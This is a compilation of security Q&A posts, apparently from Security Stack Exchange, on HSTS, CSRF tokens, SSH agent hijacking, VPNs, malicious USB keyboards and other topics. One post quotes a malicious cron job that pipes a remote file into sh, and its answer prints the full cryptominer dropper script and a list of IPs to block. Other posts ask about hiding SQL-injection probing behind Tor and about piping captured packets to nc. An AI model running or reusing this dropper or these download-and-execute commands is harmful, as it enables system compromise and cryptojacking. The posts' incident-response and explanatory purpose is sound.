Is there *ANY* conceptual downside to enabling preloaded HSTS on greenfield Referencing this: https://hstspreload.org/

There's a bunch of stuff about making really sure that it all works before you get them to pre-load it:

when testing first test with a max-age of 5 minutes, then ramp up to 1 week, & 1 month.
They say if you're making a framework or library, then make preload be opt-IN.

I assume that this is mainly about people retro-fitting preloaded HSTS to existing systems, and then discovering that some legacy part of the system doesn't support HTTPS?

However, I'm just creating a greenfield site. So I think I should be able to configure the pre-load up-front, and ensure that everything I develop supports HTTPS.

Is there any reason that a modern greenfield site would be unable to support HTTPS anywhere?

Is there any other drawback to doing this?

Very similar question, with a more Code-/Programming-targetted angle posted in StackOverflow:
https://stackoverflow.com/questions/54158239/are-there-any-practical-risks-to-enabling-preloaded-hsts-on-greenfield-net-cor

The reason to be careful with preload is the case for when you think all your sites have converted to HTTPS, but then it turns out marketing uses some CRM from 2005 that still runs over HTTP. When you turn on HSTS with includeSubdomains, their tool will no longer work.

If you have a new domain you still have total control over it, and it is unlikely that you break some HTTP site by preloading HSTS. So in your case, I think it is acceptable to preload HSTS from the start.


Encrypting then Base64 Encoding I notice online encryption tools encrypt the plaintext and output the ciphertext in  base64 format. Why is ciphertext outputted in base64 format? Can the ciphertext be outputted in binary format?

Ciphertext can be output in binary format.  For example, gpg defaults to binary format, and you need to specify --armor to make it base64:

--armor
-a
    Create ASCII armored output. The default is to create the binary OpenPGP format.

The reason you see ASCII/base64 more often is that it is easier to transfer and manipulate than binary.  SMTP email, for example, cannot handle binary data without encoding it, so having a non-binary format makes it simpler to email encrypted text.  FTP may default to non-binary mode which will introduce errors when transferring a binary file.  Even something as simple as popping open a file in an editor to make sure it "looks like it's there" is easier with non-binary formats.


Business founder wants access to database but has no DB skills Someone asked me to create a site for their online business which I did, handling a lot of the development myself. After I created my account on the site I told my employer "Hey, the site is ready you can create an account for yourself now." He did and I gave him some administration privileges from my account.

Then Mr. Showoff told him "Dude, I have root access to the DB which means I can do anything on the site."

He was interested and wanted root access to the DB which I declined. I said it was a bad idea because he doesn't know anything about DB administration or system administration and this can be a security risk. For example, it may conflict with the Principle of Least Privilege or he may accidentally run some dangerous command he doesn't know about.

However, he still thinks that he should have this access because he is the boss.

How can I handle this? Should I not care and give him access for no reason?

He is the Data Owner. Not you. If you get hit by a bus, he will need access. You should absolutely give him access. This request is not a surprise at all. If you built a website for me, I'd ask the same.

BUT, and this is the important part, you also cannot be competing with him for the administration of the database. You are the administrator, not him. He gets access, but he cannot use it. Once he does, then you are absolved from responsibility for the database. This bit you need in writing and it needs to be clearly understood. And then you need to log his access.

I completely agree that you should not be fighting for root access, but you can still provide the Data Owner access without competing for control.


Is the typical hotel wifi authentication insecure? I saw many hotels use unencrypted wifi and then expect you to type in a wifi password over HTTPS. All HTTPS website requests are captured, and you get an "untrusted certificate" warning and HTTP websites redirect to the correct https one.

Aside from not having HTTP data encrypted, as I would in WPA2 and the risk of getting people used to making exceptions in HTTPS certificates, does this scheme create any other risks one should be aware of?

As Julian said, the lack of HTTPS allows for man-in-the-middle attacks. He also mentioned access point spoofing, which are relatively common, especially in certain countries.

What else should I be aware of?

I'm of the opinion that authentication is the least of your worries.

Without properly-implemented https, a man-in-the-middle attack - which can be performed by a state-level actor (think Chinese government, GCHQ, or the NSA) - or anyone with access to the network you're connecting to - attackers can inject malicious payloads into the website in question. All of your traffic can be snooped and replaced with malicious content.

Imagine you request jQuery.js, but the website in question serves you jQuery-hacked.js. This hacked version of jQuery ends up doing everything normally, but also provides an additional feature: it loads malicious javascript which you wouldn't normally be receiving, which introduces a vulnerability or ten.

Even worse, since websites can check to see whether or not you have a Flash installed and running, along with it's version, there could be an injection of a malicious, albeit invisible Flash plugin into your webpage. I've experienced this attack in several places abroad.

At that point, it would not matter if you were behind seven proxies. Once remote code execution happens, or they use Flash to poll your unique hardware information, you're screwed.

Options to Help Protect Sensitive Information

Since this is a website about information security, and a lot of things we do here at our jobs include keeping information secure, then you should be aware of what can happen, and also take the necessary steps to avoid an information breach.

You'd do well to avoid all open WiFis (including hotels) unless you don't care about the device and it's contents. I personally use unsecured WiFi all the time simply because I don't care about the devices or it's contents, and also because I intend to study the spooky action going on behind the scenes.

Here's what I'd do if I had to protect sensitive information such as protected health information, personal information (customer data), or even government secrets:

Do not use public WiFi.
Do not use Flash. Ever.
Do not enable Javascript unless you have to. Also, use NoScript.
Use HTTPS Everywhere.
Do not use Java in your browser. Ever.


Secure login feature with low CPU power I'm developing a program that contains a login function in C++. The problem is that I don't know how to develop it in my situation. I want to run the software on a raspberry pi, it only has a CPU clocked on 1 GHZ and 512MB of memory. The Memory isn't going to cause a problem, but the CPU does.

The problem is that I can't effort a lot of CPU power on encryption, of course I encrypt all passwords, but I can't encrypt the connection. This is because I think that HTTPS is to heavy. No HTTPS is not a real problem because the data is not classified, but I want to make sure that no one else can capture the connection and preform actions.

This is what I designed till now:

The login functions validates the user, if a correct user name and password is given then the user gets a unique encrypted number. The user must send this number every time to get access to his account.

The problem:

The problem is that every one can capture the unique number of the user, and he could use this number to login to his account. How can I develop a login function with out this problem? I can use the users IP in the encrypted number, but this is not secure when the hacker has access to the targets network.

Besides that, the user sends his credentials over the network. I guess I can also preform some encryption client side, but this isn't very handy for my CPU because I need to do more encryption cycles on my server.

HTTPS is not too heavy for an RPi at all - they're surprisingly powerful, and SSL is very lightweight in terms of CPU and memory usage. I've seen it implemented on 40MHz Atmega microcontrollers.

If you don't believe me, consider the fact that you can SSH into an RPi with no issues at all.


Why should one avoid chains of SSH sessions? In this document on Security on NSC computing resources, there are several obvious pieces of advice (use a strong password, don't repeat passwords, etc.).  One piece of advice I have not seen before, namely:

  To login to a system and then continue from that system to a third (as illustrated below) should be avoided.

Illustration recommending against SSH chains

Why should such chains of SSH sessions be avoided?

Each system along the way with the proper priviledge could "hijack" your session (see the man page about ssh-agent, for some warnings. And search on this site and on the web for some more info) (sorry I do not have time right now to properly give examples...) :

For example the SSH_AUTH_SOCK could be accessible to another instance of the user or to root (or, depending on the system's settings, to a wider group of users), and be used to access whatever system that you could access yourself using the keys stored in the agent.

Having only 1 base system to control and use the agent on is much easier to secure and control. Otherwise, each intermediary hop adds a (potentially weaker) point of entry for some of the users on that system.

Please note that there are also many other ways in which an intermediary system could compromise your ssh connection. Some via ssh mechanisms itself, but also some via the tty/terminals themselves, etc.

The more hop you go through, the more risk you take that one of those hops (including your original machine!) can be used to hijack your connection [to the final destination, or to any of the intermediary hops, or even to any other destination that your ssh keys could open access to ...]


Computer hasn't been connected to internet for 2 weeks A computer hasn't been connected to the internet for 2 weeks but has still been used. It's running Windows 8 and various notices are complaining about virus definitions and updates not being current. What's the best thing to do once it is reconnected to the internet? Just let it sit and update itself? I remember in the past the blaster worm was so bad it would infect my computer on a clean install before the patches could be downloaded from Microsoft. Is there a way to block all traffic that doesn't come from Microsoft?

In reading some of these answers, I wonder if some read the question: "A computer hasn't been connected to the internet for 2 weeks" as most answers are spouting "static IPs" or "if your computer is connected to the Internet." I would steer clear of these answers as it demonstrates that answers are simply being typed without a thought process.

On to the answer. So your computer hasn't been connected, and you seem to be worried that the moment you connect, something is immediately going to infect you. There are two approaches to solve this problem. The first is out of band updates, where you could either use a WSUS proxy server to download the updates, then get them from your server, or you could download them on your own. Same applies for antivirus.

As far as I can tell, and know of, there have been no "catastrophic" viruses or worms affecting Windows similar to Blaster, SoBig, and others. If you are that concerned, you could determine what the IP addresses are to the sites where you need to get updates from (Microsoft, and your AV vendor) then create a Windows based firewall rule to ONLY allow those sites, and block everything else. The issue with this is, CDN's (Akamai for example) where updates are not coming from your vendor, but a third party.

Another alternative solution (albeit long and cumbersome) is to place the machine on its own network, and monitor traffic to and from it with a sniffer (Wireshark, etc) otherwise, there is no reason to fear that turning that machine on will immediately trigger it to be "hacked" or "infected" or otherwise. That last sentence is based on the premise that the machine does not require a static address, and or, is using exploitable services (vulnerable http, pop3, etc).

There is a difference between vulnerabilities and exploits, and I have stated this before: "not every vulnerability is exploitable." The mere fact that you may have a vulnerable version of say Internet Explorer means little if all you are doing is connecting DIRECTLY to Microsoft for an update. Versus you steadily using the same IE for day to day web browsing.


What information can be taken by submitting an online form? Sorry I'm pretty clueless with this stuff..

I know that vpn hides your IP address when just browsing websites, but how about submitting an online form, such as when you send an inquiry?

Would my IP address (fake if using VPN?) and device-specific address like Mac address etc. go through? What else? Meaning my anonymity would be compromised...?

If you connect and submit a form using your VPN connection, the site will get your VPN address, not your main IP address.

But with a little javascript file they can get a lot of information about you:

Browser type, version and revision
All plugins installed
You operational system
Screen size and depth

If they succesfully exploit DNS Leak, or put Flash or Java on the page, they can even get your real IP.

Anonimity is a illusion. The only thing you can do is being harder to identify, but you cannot never ever be impossible to identify, no matter how much you try. If anyone really wants to identify you, the only possible defense is get disconnected.


encrypted cloud storage with partial local copy Is there a cloud storage solution with the following features:

partially copied locally. Not fully like dropbox so it can be larger than the local disk. Not fully in the cloud but just a local disk for recent data, i.e. its fast and works offline.
good client side encryption. No possibility or temptation for the host to decrypt my files.
can be shared by multiple machines
optionally some backup mechanism.
osx support, iOS optionally

I imagine a large client side encrypted virtual disk with partial local backup, i.e. encfs with an intelligent sync to cloud.

While not a direct answer to your question, my personal suggestion would be to use a standard file hosting service that meets your needs and perform your own client side encryption and decryption.  This is really the only way you can know for sure that the service provider doesn't have any way to be able to access your data.  This opens up the door for you to be able to have much more control of the security of your data while also being able to use a much broader set of service providers to find one that meets your needs overall.


Curious File extension On selecting hidden files and folders, I noticed ntuser.dat.regan613 - I understand that ntuser is a legitimate file but regan613?..A google search has rendered nothing of interest and I am the only user of my computer so it cannot be another account. Any assistance appreciated.

Files can have any extension and its contents aren't affected. A jpeg can have a .txt extension and still be an image file. Sometimes when files are backed up by programs they simply add a string to the end of the file name. So settings.reg becomes settings.reg.backup  when they are edited.

ntuser.dat are unique settings you have selected for your windows user.
Every time you create a new user or change the user name one of these files are created.  This file remains for the old account. You can delete the accounts that you no longer use but make sure you only delete the one not in use or needed.


Would MAC filtering protect against KRACK? Thinking of interim solutions to lower the chance of attack while waiting for patches for routers. Would setting a MAC filter, i.e. limiting WIFI access to only known devices, reduce or protect against the attacker hijacking the WIFI network?

In general, MAC filters (both whitelisting and blacklisting) are completely ineffective against a determined attacker, as MAC addresses can be easily changed and forged using standard system networking utilities.

Additionally, MAC filters do not apply here since this vulnerability allows exploitation from an attacker who is not associated with the network (side note- on a network secured with WPA2-Personal, anyone (associated or not) who knows the network's pre-shared key (PSK) can already decrypt traffic between the access point and stations, assuming the attacker has captured the relevant 4-way handshakes). The KRACK vulnerability allows an attacker to decrypt encrypted frames without knowing the PSK because they can force the client to use a key that is known (a key of all 0's). This is done by sending forged management frames, which are not protected under 802.11i, allowing attackers to effectively impersonate any function of an access point.

So in short, MAC filtering and KRACK are in completely different realms and MAC filtering is not a valid mitigation for this issue. A better solution is to patch clients, as these patches may be available before the router patches. Additionally, there are some settings that may further increase the possible damage from the attack. I suggest you read more about the vulnerability in order to understand what features may be affected.


Is bluetooth keyboard more secure than USB keyboard for a malicious firmware? There are some threads talking about Bluetooth keyboard security. But I have a different concern.
I will only need 4 keys from an external keyboard, Home/End/PageUp/PageDn keys. Because I use them a lot and my laptop keyboard has a bad design (no separate keys for them).
There are some programable 4 keys keyboard or Numpad Bluetooth keyboard in online shops. I am planning to buy one of them.
Because I only will use 4 keys from the external keyboard, I don't care if the 4 keys (Bluetooth connection) are sniffed (logged) by other hackers or not.
I have more concerns if the keyboard can have some malicious (trojan/backdoor) firmware built-in. With a USB connection, I think the keyboard can easily run some backdoor scripts (I might be wrong). So I am wondering if a Bluetooth keyboard is more secure than a USB keyboard in such a situation.

It doesn't matter whether the device is USB or Bluetooth, nor does it even matter if the device is a keyboard - the same potential attack vector applies. I'll focus on USB here since I'm more familiar with USB HID then I am Bluetooth device endpoints.
When a USB device is connected to the system, the host asks it for its descriptor. The descriptor is effectively a big block of data that tells the host what it's called, what USB features it supports, what interfaces and devices it implements. One physical USB device connected to one physical USB port may in fact report itself as multiple devices, each with its own functionality. This is how combo devices like keyboard/mouse or USB-C touchscreens work.
A malicious device could implement a USB HID (human interface device) keyboard alongside its "normal" functionality, and send whatever keys it likes to your system. This is how devices like the USB Rubber Ducky - they look like a USB stick or something else innocuous, but inside they've got a small microcontroller that implements a USB keyboard interface that you can program to send whatever keyboard strokes you like when you plug them in. A common payload is to hit the necessary keys to launch a run prompt, then execute commands that download a reverse shell script, giving the attacker complete control of the system.
You can take this one step further with something like the O.MG cable, which looks and acts just like a regular USB cable but actually lets you remotely send keystrokes over an 802.11 WiFi access point built into it. Same attack but with interactive control.
There's pretty much nothing you can do to prevent this attack, other than carefully auditing the USB devices that are exposed by the device, or perhaps implementing a USB device security policy on your system if the inconvenience isn't too great (it probably would be for general users).
The answer to "why isn't everyone freaking out about this" is that almost no attackers want to invest in costly and risky supply chain attacks on peripheral hardware unless there's a very high chance of getting high value returns. It's something that you need to consider in nation state infrastructure, but for corporate stuff you can get by with device lockdown policies and monitoring, and for home users there's basically no reason to waste this kind of attack.


Protecting against CSRF when a form is being submitted via an AJAX call I'm using anti-CSRF tokens on all my forms to prevent CSRF attacks. Also, the tokens are being saved in the $_COOKIE variable to validate against the value I get from the form. I'm resetting the token each time a form is loaded.

But there are a few forms that are using $.post, i.e. AJAX to submit and getting a JSON response.

The $_COOKIE variable is not set because of AJAX being used.

Is there a workaround or am I doing something wrong?

EDIT: Adding client-side and server-side code sample

Client-side:

<?php
$tokenVal = md5(uniqid(mt_rand(), true));
setcookie ("token", $tokenVal);
?>
<form action="target.php" method="post" name="abc">
<input type="text" name="city" id="city" value="abc" size="25" maxlength="10">
<input type="hidden" name="csrf" value="<?php echo $tokenVal; ?>">
Save
</form>

Server-side:

if($_POST['csrf'] == $_COOKIE['token']) {
//process further
} else {
die("Invalid form source")
}

The form is being submitted using $.post. The problem I'm facing is that $_POST['csrf'] is never equal to $_COOKIE['token']!

Assuming the CSRF token is available to JavaScript, you can use setRequestHeader to attach the request token manually and modify your server to look for the request token in the cookie header, or for requests that should be accessible via XHR in the header you supply.


Possibility for Multi-layer VPN or queries through TOR? If a user is to fingerprint a server via SQL injection and doesn't want the server to be able to trace back. Is the only way to use a proxy/VPN?

Can queries and requests be sent through TOR network? Or would a user have to use multi-layer VPNs, bounces through different proxies before actual request?

Yes all queries that can be sent over TCP can be sent over TOR.


Could browsers improve security of stored passwords by using setuid? On Unix-esque systems, Mozilla Firefox stores a users' preferences, web history and stored passwords in a set of files that are readible and writeable by that particular user.

This makes sense: when the user bob is running Firefox, these files need to be readable by bob in order for Firefox to access them. However, this also means that any malicious application Bob accidently runs has access to this rather personal information as well.

So why wouldn't browsers like Firefox create a new user, with a random password, called something like firefox-bob, which would be the only user able to access these files?

Subsequently, the main firefox executable could be owned by firefox-bob, executable by bob, and have its setuid bit turned on.

It wouldn't surprise me if a similar system would also be possible under (recent versions of) Windows.

Of course such an approach would not be resistant against malware gaining root permissions or exploits within the browser itself. Still, I think utilising file permissions like this could significantly enhance the security of stored passwords or other private data.

Would this be a good idea? Or am I missing something? Are there practical issues with this approach?

This idea is in no way specific to web browsers. You could make the same argument that every application the user runs deserves to have its own segregated user ID under which to run.

Yes, some measure of security would arguably be gained by doing this because (for example) the malicious music player running in the same desktop session couldn't access the web browser's stored passwords. But I think you'd quickly find that the scheme as presented is impractical. The user wouldn't be able to access that file they downloaded with the web browser from their email software in order to attach it to an email, or for that matter from the file manager in order to delete it.

That's besides the fact that each system user now requires N users in /etc/passwd where N is the number of different applications they run. Not only does the system not provide any way of managing those accounts and switching between them, but it's just plain messy.

Your idea is a fairly significant departure from the UNIX security model but it has merit, and with the right kind of help from the operating system it can be done cleanly. Android works more or less exactly like this..


What is the correct terminology for a private key corresponding to a public key certificate? I have learned that the certificate is something that contain information about a public key. An article on wikipedia says Public Key Certificate as well. If we are talking about private key, it's not a certificate, but a key that corresponds with the public key certificate.
On Microsoft Azure I have found this sentence:

Private key certificates (.pfx) can be used for TLS/SSL bindings and
can be loaded to the certificate store for your app to consume.

I thought that certificates are always public and the .pfx file format just contains both the public key certificate and the corresponding private key.
Is this correct to say private key certificate?

Generally speaking certificates (X.509) contains the public key (of the corresponding private key) that was used to sign the certificate. You can't make any inferences of authenticity of the certificate (and it's attributes) if there is no signature or public key. I suspect your difficulty has to do with how the certificate and keys are distributed.
Certificates are encoded in various formats e.g. DER, PEM and stored in various containers e.g. PKCS12. If you want to store the private key with the certificate you will need to choose a container that supports that like PKCS12 & PFX.
Therefore I don't think the term private key certificate is correct.


How to use Username/Password in Signal Protocol I am trying to create a communication app from scratch (more like an html parsed messaging app) using the Signal protocol. While I do have lot to of programming experience, I am a crypto novice and therefore I am unable to figure out how do I sign in my users to this their so called email IDs (i.e. in the Signal protocol, where does the concept of Username and Password fit in). On the top of my head I have this idea:

Use Username + Password to generate the keys
Encrypt the Signal's key store with Username + Password

How wrong am I? What would be the real use case of username and password?

Thanks.

"someone like you" refers only to "crypto novice".

Signal protocol says nothing about identity management.

Your server should have a "users" table and for each user a list of public keys.

A user should be able to perform the following operations:

Create a new user identity using a new (not seen before) user identifier, and add a new public key to that new user identity record on your server ("registration").
On a new device / new installation, prove to the server's satisfaction that they are the same user as an existing user record, and add a new public key to that existing user identity record on your server ("login").
Once logged-in (proving they have a private key matching the public key of a user in your database), they can delete public keys associated with their own user record ("logout" and "logout on other devices").

The user's identity can be:

A pseudonymous username protected by a password (but how to do recovery if they forget the password? Using email? Then just do login by email token and don't use passwords).
An email address protected by email verification (server sends token to email address, API receives it, now believes user is owner of email address).
A phone number protected by sending code via SMS.
An identity provided by some SSO (gauth, FB login, corporate, etc.).
A pseudonymous username not bound to anything external, protected by having a valid pey pair. No way to recover the identity if user loses access to all their key pairs. On registration, user is prompted to create a recovery key pair and keep the recovery private key, serialized like diceware password, safe (on paper). On a new device, they use the recovery key to login, then create a new key pair for this new device and remove the key pair of the old device. The recovery key pair is generated same way all key pairs are generated, the user doesn't get to pick it. That's why it's not a password.
Something else.

A user's key pair is generated using OS CSPRNG and stored on the device where it was generated, using the way the OS recommends to store secrets (e.g. on iOS using keychain and secure enclave, on laptop possibly encrypted by password but UX issue explaining this is local operation).

The private key should never leave the device. There should be no way to backup the private key. If the user loses their phone, they can login on another phone, create a new key pair, delete the old key pair from the server database ("logout from that device").

While it is possible to encrypt the user's key pair using their account password and store the encrypted key pair on the server and give it to the user on login - thus they would have the same key pair on many devices - I would not consider that end-to-end.


How can I set up a VPN connection in Windows 10? I'm using Windows 10 pro x64 and I'm connected over ethernet to my WPA-encrypted adsl home network.
I'm connected to a network adsl, my internet provider is Tim (Release Modem: AGAWI_4.0.7 ). The modem router is downstairs, my pc is on the upper floor.
These are some of the features of my adsl, the basic ones->

max speed download: 18609 Kbps

max speed upload: 950 Kbps

IPTV service: inactive

Managed TV service: inactive

tariff profile: ADSL Flat

At Lan Interface panel I get the following information->

Indirizzo IP Modem: (an ip address, let's call it 0)

Maschera di sottorete: ( number sequence )

Stato DHCP: active

IP Iniziale DHCP: (another ip address, let's call it 1)

IP Finale DHCP: (another ip address, let's call it 2)

Stato NAT: active

IP Iniziale NAT: (ip address 1)

IP Finale NAT: (ip ddress 2)

In the panel WiFi setting I have the following->

interface Radio: active

Rete Wi-Fi (SSID): (name of my adsl network) (Visibile)

channel Radio (Automatico): 1

Ampiezza di banda (Canale): Auto 20 MHz / 40 MHz

encryption mode: WPA-PSK TKIP-AES 256 bit

encryption key: (password)

Controllo Accesso (access control): disabled

In the panel local access I see that the security authentication is "active".

I'm trying to set up a VPN connection by editing the settings in Windows 10 in the proper configuration panel (see below). My goal is to be more anonymous -when it's possible-  when I surf the internet, see videos, download torrent; I also aim to be more safe when I do e-commerce. That's the reason why I want to convert my pc into a secure system, so I'm trying to configure a VPN network by exploiting my own adsl connection firstly. If I succeed I will try to do that when I'm connected to a public network->

I put the address of my modem router panel (the one I usually type on the URL bar and then enter by inserting a password; no username is required).
I configured my VPN connection by inserting no username nor password; when I select it and click on "connect" I get the following error->

I also tried by putting the PPTP (Point to Point Tunnelling Protocol) as VPN type.

How can I configure my VPN connection by using Windows 10 and why I'm having this issue?

Integrated home routers typically provide no VPN services, so using Windows 10 or any other VPN client to connect to one will not work.  If the router has a VPN server, you would need to take very specific steps there to set it up before doing anything to the client computer.  After taking these steps, how to configure the computer would be obvious.  Questions about how to accomplish this would be best asked in a StackExchange about computers such as SuperUser (https://superuser.com/)

The more relevant question here is, why do you want to connect to your home router using VPN tunneling?  Is there a specific security goal?  Do you not trust WPA?  Forcing WPA2 with AES would help a lot...


Why is the Signature Algorithm listed twice in an x509 Certificate? Section 4.1 of RFC 5280 defines the contents of an x509 Certificate. Specifically, two fields are listed (signatureAlgorithm and signature) and defined to contain the same information: AlgorithmIdentifier:

4.1.  Basic Certificate Fields

  The X.509 v3 certificate basic syntax is as follows.

  Certificate  ::=  SEQUENCE  {
        tbsCertificate       TBSCertificate,
        signatureAlgorithm   AlgorithmIdentifier,            <------
        signatureValue       BIT STRING  }

  TBSCertificate  ::=  SEQUENCE  {
        version         [0]  EXPLICIT Version DEFAULT v1,
        serialNumber         CertificateSerialNumber,
        signature            AlgorithmIdentifier,            <------
        issuer               Name,
        validity             Validity,
        subject              Name,
        subjectPublicKeyInfo SubjectPublicKeyInfo,
     <-~- truncated -~->

Later, in Section 4.1.1.2, signatureAlgorithm is defined as:

  4.1.1.2.  signatureAlgorithm

  The signatureAlgorithm field contains the identifier for the cryptographic algorithm used by the CA to sign this certificate.
     ...
  This field MUST contain the same algorithm identifier as the signature field in the sequence tbsCertificate (Section 4.1.2.3).

And in Section 4.1.2.3, signature is defined as:

  4.1.2.3.  Signature

  This field contains the algorithm identifier for the algorithm used by the CA to sign the certificate.

  This field MUST contain the same algorithm identifier as the SignatureAlgorithm field in the sequence Certificate (Section 4.1.1.2).

My question is: Why must the same piece of information be listed twice?

I could understand wanting to include the Hash algorithm and Signature generation method in the Certificate Data section so it gets included with the signature verification and is therefore not susceptible to changes.

But if that is the case, why list it again between the Certificate Data and Signature sections?

I came across other questions that seem to ask the same thing, but I did not find an answer that specifically spoke to why it is listed twice. Just that it must be listed twice.

I think it's a protection against certain kind of cryptographic attacks called "algorithm substitution attacks".

Please take a look here: Cryptographic Message Syntax (CMS) Algorithm Identifier Protection Attribute (RFC6211)

As briefly explained here: https://tools.ietf.org/html/rfc6211

  In X.509
     certificates, the signature algorithm is protected because it is
     duplicated in the TBSCertificate.signature field with the proviso
     that the validator is to compare both fields as part of the signature
     validation process.

I think it's exactly what you are looking for :)

Cheers !

Edit: Edited to add the "I think".

Edit 2: Found out that the question is duplicated...
From this post: https://security.stackexchange.com/a/24796
Relating the "TBSCertificate.signature" field:

  There doesn't seem to be much use for this field, although you should check that the algorithm identifier matches the one of the signature on the cert (if someone can forge the signature on the cert then they can also change the inner algorithm identifier, it's possible that this was included because of some obscure attack where someone who could convince (broken) signature algorithm A to produce the same signature value as (secure) algorithm B could change the outer, unprotected algorithm identifier from B to A, but couldn't change the inner identifier without invalidating the signature. What this would achieve is unclear).


Internet IPv6 address shows up instead of normal IP in Gmail activity information page, may have been hacked, how to solve the issue? I am currently having an issue with Gmail through Activity information page where a new page pops up and the IP shows IPV6 address instead of normal IP address like 16.22.124.22 and I think I may have been hacked as I have already been hacked before. Moreover the IP address it used to show around 3 weeks back was normal IP address and was of the ISP location and not the city where I am based.

I cannot give a print shot of the Gmail Details page, but under activity information it something looks like

India (MH) (2406:e00:110:d7ac:c0b:2df2:2614:j167)

MH above is Maharashtra, the ISP location and not my location in another state. Internet IPv6 changes every time I log off and on the system and connect the internet again.

I currently use these things from India.

I use a laptop with broadband modem.
No antivirus
No VPN
Windows 7 Ultimate old version
Old Chrome installed nearly 3 years back, not updated(because I have lost all my bookmarks before due to installation of new chrome so I did not instal new chrome afterwards)
Two factor authentication on Gmail is on and works normal.

I am not a computer geek who can fix virus, hacking attempts etc. I am surprised I used to have normal ip address like 15.22.230.22 before but I am getting IPv6 address, have already been hacked before and this time again a new story. Help!

Maybe this was your real ipv6 address. If the ip came with * at the end, it could be 99.99% your ipv6.

Also don't get the information about the IP by google 100% correct, NO! As I get a vary location since my ip is valid every week.

You simply change your password with a strong string, plus enable two-authentication and in the activity window ask google to log out all other sessions just your current one.


Data Leakage Prevention tips for regular home users I am a "power user" with a limited knowledge of information security. I frequently store confidential documents on my computer. How can I protect these against a rootkit that gives an attacker complete access to all your files?

The question is not so much about best rootkit prevention practices (like having an up-to-date firewall, antivirus), but rather, if you are to appreciate the fact you can never be 100% certain something isn't lurking in your system from all the dodgy files/software you download or websies you visit, what would you say are the best practices of storing sensitive data on the hard drive which would make finding/downloading those files very difficult? For example, I now store all this data in encrypted TrueCrypt containers which get mounted occasionally. However, when these containers are mounted as a separate drives, what stops attackers downloading decrypted files off me?

How do people working in secret services across the planet manage this issue? What could you recommend for a beginner who is interested in thi? What's an easy way to lock down specific files from leaking over the internet, or at least be able to monitor traffic and spot irregular patterns/files being accessed by other programs?

As mentioned, you can keep sensitive data and your internet connection on separate machines. It is quite a hassle, but it is quite secure. It really depends how valuable you think your data is.

One method a bit easier than separate physical machines, is separate virtual machines. Qubes OS has the basic idea here. Because it's a software layer, any of your internet exploits will be blocked, provided they don't manage to bypass the hypervisor. Although this is quite good security from software, for some people, that's too big an if.


cron actived in root Last three months every weekend appear the instruction next in root cron

0 * * * * curl http://91.230.47.41/img/logo.jpg|sh
0 * * * * wget -O - -q http://91.230.47.41/img/logo.jpg|sh

howto block this intrussion.

Very thanks

if you wget that image and open it w/ nano it contains the following:

#!/bin/sh
rm -rf /tmp/wqbtraqbpv.conf
pkill -f stratum
pkill -f "/tmp/apache"
pkill -f "/tmp/httpd.conf"
pkill -f cryptonight
pkill -f wqbtraqbpv
ps auxf|grep -v grep|grep -v qslulqdbi|grep "/tmp/"|awk '{print $2}'|xargs kill                  -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "65.254.63.20"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wqbtraqbpv"|awk '{print $2}'|xargs kill -9
ps -fe|grep qslulqdbi|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /tmp/qslulqdbi.conf
rm -rf /tmp/qslulqdbi.conf
curl -o /tmp/qslulqdbi.conf http://91.230.47.41/img/kworker.conf
wget -O /tmp/qslulqdbi.conf http://91.230.47.41/img/kworker.conf
chmod 777 /tmp/kauditd
rm -rf /tmp/kauditd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /tmp/kauditd http://91.230.47.41/img/kworker
wget -O /tmp/kauditd http://91.230.47.41/img/kworker
else
curl -o /tmp/kauditd http://91.230.47.41/img/kworker_na
wget -O /tmp/kauditd http://91.230.47.41/img/kworker_na
fi
chmod +x /tmp/kauditd
cd /tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./kauditd -c qslulqdbi.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

I would recommend blocking inbound & outbound traffic of:

91.230.47.41
94.23.8.105
37.59.49.7
37.59.51.212
188.165.214.76
176.31.117.82
188.165.254.85

via firewall rules as well as removing the cron job

kworker & kworker_na seem to be clean according to virus total ... but I would check your /tmp/kauditd folder and delete them both


Tor website as proxy like receiving server I want to create a anonymous application that will send data all the time to my server. I don't want my ip to be exposed so I wanted to use Tor. I wanted to send sniffed packets to this server and analyze it here. To sniff and send data I'm using command dumpcap -w - | nc ip port. Can I somehow use Tor server (Raspberry PI) as a receiver so I dont need to hard-code my ip address in my program and use .onion server instead?

What you seem to need is called Tor hidden service. This could be any service based on TCP protocol, including HTTP, rsync, or even nc as in your example. You set up the  service to listen on localhost:port on your receiver, configure your Tor client (running on the same receiver) to forward the incoming connections to your localhost:port, and use Tor client on your sender to connect to the hidden service.


OpenSSL dgst authentication failure I've tried to replicate the workflow presented on this blog in OpenSSL: http://farid.hajji.name/blog/2009/07/27/public-key-cryptography-with-openssl/

However, authentication seems to fail despite many variations. What's going wrong? Please see the code below you can copy and paste into OpenSSL. Note that I am using the compiled Windows binary version of OpenSSL.

//================Phase 1 - Setup================

//Generate my private key (myprivatekey.txt)
genpkey -algorithm RSA -out C:\myprivatekey.txt -pass pass:abc123 -pkeyopt rsa_keygen_bits:2048

//Generate friend's private key (friendprivatekey.txt)
genpkey -algorithm RSA -out C:\friendprivatekey.txt -pass pass:123abc -pkeyopt rsa_keygen_bits:2048

----------------

//Extract my public key (mypublickey.txt) from my private key (myprivatekey.txt)
rsa -passin pass:abc123 -in C:\myprivatekey.txt -pubout -out C:\mypublickey.txt

//Extract friend's public key (friendpublickey.txt) from my private key (friendprivatekey.txt)
rsa -passin pass:123abc -in C:\friendprivatekey.txt -pubout -out C:\friendpublickey.txt

----------------

//Generate my password (a random base64 string password saved mypassword.txt)
rand -base64 -out C:\mypassword.txt 128

//Generate friend's password (a random base64 string password saved to friendpassword.txt)
rand -base64 -out C:\friendpassword.txt 128

//Delete the .rnd file that's generated?  Not sure what it is.

----------------

//Encrypt my password using my private key (encrypted password saved to a binary file - myencryptedpassword.txt)
pkeyutl -in C:\mypassword.txt -out C:\myencryptedpassword.txt -inkey C:\myprivatekey.txt -passin pass:abc123

//Encrypt friend's password using friend's private key (encrypted password saved to a binary file - friendencryptedpassword.txt)
